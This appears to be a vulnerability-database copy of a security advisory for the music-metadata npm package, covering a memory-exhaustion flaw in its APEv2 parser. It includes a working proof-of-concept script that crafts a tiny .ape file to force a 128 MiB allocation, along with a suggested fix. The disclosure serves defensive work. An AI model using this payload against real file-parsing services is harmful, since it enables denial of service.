GHSA-53V6-4H7P-P4GJ
Vulnerability from github – Published: 2026-10-08 19:43 – Updated: 2026-10-08 19:43
VLAI
Summary
music-metadata: Uncontrolled memory allocation in APEv2 parser
Details
Summary
music-metadata 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.
The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted .ape file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.
This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.
Affected component
lib/apev2/APEv2Token.tslib/apev2/APEv2Parser.ts
The untrusted size is read here:
size: Token.UINT32_LE.get(buf, off)
It is later used directly for allocation when parsing binary tag items:
const picData = new Uint8Array(tagItemHeader.size);
await this.tokenizer.readBuffer(picData);
The allocation happens before the parser confirms that the declared size fits inside the remaining file data.
Impact
An application that parses untrusted .ape files with music-metadata may be vulnerable to denial of service through memory exhaustion.
The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.
The impact is limited to availability. No confidentiality or integrity impact has been demonstrated.
Proof of Concept
Run from the project checkout after compiling the source:
npm install --ignore-scripts
npm run compile-src:dev
node --expose-gc poc-apev2-memory.mjs
poc-apev2-memory.mjs:
import { parseBuffer } from './lib/core.js';
const le16 = n => Uint8Array.from([n & 255, n >>> 8]);
const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);
const cat = (...parts) => {
const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));
let off = 0;
for (const p of parts) out.set(p, off), off += p.length;
return out;
};
const big = 0x08000000; // 128 MiB
const desc = cat(
Buffer.from('MAC '), le32(4000), le32(52), le32(24),
le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)
);
const hdr = cat(
le16(0), le16(0), le32(1), le32(1), le32(1),
le16(16), le16(1), le32(44100)
);
const key = Buffer.from('Cover Art (Front)\0', 'ascii');
const item = cat(le32(big), le32(2));
const tag = cat(
Buffer.from('APETAGEX'),
le32(2000),
le32(32 + item.length + key.length + big),
le32(1),
le32(0),
new Uint8Array(8)
);
const payload = cat(desc, hdr, tag, item, key);
if (global.gc) global.gc();
const before = process.memoryUsage();
try {
await parseBuffer(payload, { mimeType: 'audio/ape' });
} catch (error) {
console.log(error.constructor.name + ': ' + error.message);
}
const after = process.memoryUsage();
console.log('input bytes:', payload.byteLength);
console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));
Observed result
On music-metadata 11.15.0:
EndOfStreamError: End-Of-Stream
input bytes: 134
arrayBuffers delta MB: 128.00
The parser throws after reaching end-of-stream, but the large allocation has already happened.
Expected result
The parser should reject the malformed APEv2 tag before allocating memory for the declared item size.
Suggested fix
Validate tagItemHeader.size before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate tagItemHeader.size until the size has been checked.
Severity
6.2 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.12.3"
},
"package": {
"ecosystem": "npm",
"name": "music-metadata"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107387"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:43:22Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`music-metadata` 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.\n\nThe parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted `.ape` file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.\n\nThis issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.\n\n## Affected component\n\n- `lib/apev2/APEv2Token.ts`\n- `lib/apev2/APEv2Parser.ts`\n\nThe untrusted size is read here:\n\n```ts\nsize: Token.UINT32_LE.get(buf, off)\n```\n\nIt is later used directly for allocation when parsing binary tag items:\n\n```ts\nconst picData = new Uint8Array(tagItemHeader.size);\nawait this.tokenizer.readBuffer(picData);\n```\n\nThe allocation happens before the parser confirms that the declared size fits inside the remaining file data.\n\n## Impact\n\nAn application that parses untrusted `.ape` files with `music-metadata` may be vulnerable to denial of service through memory exhaustion.\n\nThe demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.\n\nThe impact is limited to availability. No confidentiality or integrity impact has been demonstrated.\n\n## Proof of Concept\n\nRun from the project checkout after compiling the source:\n\n```bash\nnpm install --ignore-scripts\nnpm run compile-src:dev\nnode --expose-gc poc-apev2-memory.mjs\n```\n\n`poc-apev2-memory.mjs`:\n\n```js\nimport { parseBuffer } from \u0027./lib/core.js\u0027;\n\nconst le16 = n =\u003e Uint8Array.from([n \u0026 255, n \u003e\u003e\u003e 8]);\nconst le32 = n =\u003e Uint8Array.from([n \u0026 255, n \u003e\u003e\u003e 8 \u0026 255, n \u003e\u003e\u003e 16 \u0026 255, n \u003e\u003e\u003e 24]);\nconst cat = (...parts) =\u003e {\n const out = new Uint8Array(parts.reduce((n, p) =\u003e n + p.length, 0));\n let off = 0;\n for (const p of parts) out.set(p, off), off += p.length;\n return out;\n};\n\nconst big = 0x08000000; // 128 MiB\n\nconst desc = cat(\n Buffer.from(\u0027MAC \u0027), le32(4000), le32(52), le32(24),\n le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)\n);\n\nconst hdr = cat(\n le16(0), le16(0), le32(1), le32(1), le32(1),\n le16(16), le16(1), le32(44100)\n);\n\nconst key = Buffer.from(\u0027Cover Art (Front)\\0\u0027, \u0027ascii\u0027);\nconst item = cat(le32(big), le32(2));\n\nconst tag = cat(\n Buffer.from(\u0027APETAGEX\u0027),\n le32(2000),\n le32(32 + item.length + key.length + big),\n le32(1),\n le32(0),\n new Uint8Array(8)\n);\n\nconst payload = cat(desc, hdr, tag, item, key);\n\nif (global.gc) global.gc();\nconst before = process.memoryUsage();\n\ntry {\n await parseBuffer(payload, { mimeType: \u0027audio/ape\u0027 });\n} catch (error) {\n console.log(error.constructor.name + \u0027: \u0027 + error.message);\n}\n\nconst after = process.memoryUsage();\nconsole.log(\u0027input bytes:\u0027, payload.byteLength);\nconsole.log(\u0027arrayBuffers delta MB:\u0027, ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));\n```\n\n## Observed result\n\nOn `music-metadata` 11.15.0:\n\n```text\nEndOfStreamError: End-Of-Stream\ninput bytes: 134\narrayBuffers delta MB: 128.00\n```\n\nThe parser throws after reaching end-of-stream, but the large allocation has already happened.\n\n## Expected result\n\nThe parser should reject the malformed APEv2 tag before allocating memory for the declared item size.\n\n## Suggested fix\n\nValidate `tagItemHeader.size` before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate `tagItemHeader.size` until the size has been checked.",
"id": "GHSA-53v6-4h7p-p4gj",
"modified": "2026-10-08T19:43:22Z",
"published": "2026-10-08T19:43:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-53v6-4h7p-p4gj"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/pull/2744"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/commit/b3bf52cb6021b046f33ba47583e19ab8f10dd235"
},
{
"type": "PACKAGE",
"url": "https://github.com/Borewit/music-metadata"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "music-metadata: Uncontrolled memory allocation in APEv2 parser"
}
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Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
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- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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